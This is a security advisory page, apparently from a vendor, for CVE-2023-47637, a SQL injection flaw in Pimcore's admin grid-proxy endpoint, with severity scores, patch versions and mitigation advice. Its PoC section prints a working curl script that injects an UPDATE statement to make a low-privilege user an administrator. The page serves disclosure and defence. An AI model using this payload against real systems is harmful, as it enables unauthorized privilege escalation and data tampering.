CVE-2023-47637 is a high-severity (CVSS 8.8) SQL Injection vulnerability in pimcore/pimcore. 1 public exploit reference exists, so weaponization risk is real. A fix is available for pimcore/pimcore — see the affected versions and patch details below.
SQL Injection in Admin Grid Filter API in Pimcore
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-47637.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2023-47637 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
pimcore/pimcoreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
User input passed directly into an SQL statement allows (non-admin) backend users to execute arbitrary SQL statements.
Details
The /admin/object/grid-proxy endpoint calls getFilterCondition() on fields of classes to be filtered for at https://github.com/pimcore/admin-ui-classic-bundle/blob/bba7c7419cb1f06d5fd98781eab4d6995e4e5dca/src/Helper/GridHelperService.php#L311, passing input from the request, and later executes the returned SQL.
One implementation of getFilterCondition() is in Multiselect, which does not normalize/escape/validate the passed value: https://github.com/pimcore/pimcore/blob/42b6cfa77c4540205bdd10689893ccb73e4bac8f/models/DataObject/ClassDefinition/Data/Multiselect.php#L285-L312
PoC
- Set up an example project as described on https://pimcore.com/docs/platform/Pimcore/Getting_Started/Installation/Docker_Based_Installation (demo package with example content)
- Enter the backend and add a new user without admin privileges, but the "Objects" permission enabled.
- Log out and back in with the new user. Grab the
X-pimcore-csrf-tokenheader from any request the backend does, as well as thePHPSESSIDcookie. - Run the following script, substituting the values accordingly:
#!/bin/bash BASE_URL=http://localhost:8084 # REPLACE THIS! CSRF_TOKEN="bd89fd7ceb3b541dd63c200fd4fc8c8ea3cc1a05" # REPLACE THIS! COOKIE="PHPSESSID=a0f408f9af7657430a4e6a1608c80277" # REPLACE THIS! SQL="UPDATE users SET admin=1" FILTER_JSON="[{\"property\":\"tags\",\"operator\":\"=\",\"type\":\"list\",\"value\":[\"')); ${SQL}; --\"]}]" curl "${BASE_URL}/admin/object/grid-proxy?classId=EV&folderId=1119" \ -X POST \ -H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \ -H "Cookie: ${COOKIE}" \ --data "filter=$FILTER_JSON" - Refresh the backend, the user is admin now.
Notes
The above process also works with the initial admin user, but for demonstration purposes it is more interesting to use an unpriveleged one.
Other important variables to adjust in the above script for other deployments are the classId=EV&folderId=1119 parameters, which must reference an existing class and folder, as well as "property":"tags", which points to a Multiselect field in this class.
Impact
Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.
Patches
Apply patch manually.
Workarounds
Update to version 11.1.1 or apply this patch manually.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | pimcore/pimcore | all versions | 11.1.1composer require pimcore/pimcore:^11.1.1 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pimcore/pimcore, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pimcore/pimcore to 11.1.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-47637 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2023-47637 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2023-47637. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2023-47637 in your dependencies?
O3 Security finds CVE-2023-47637 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.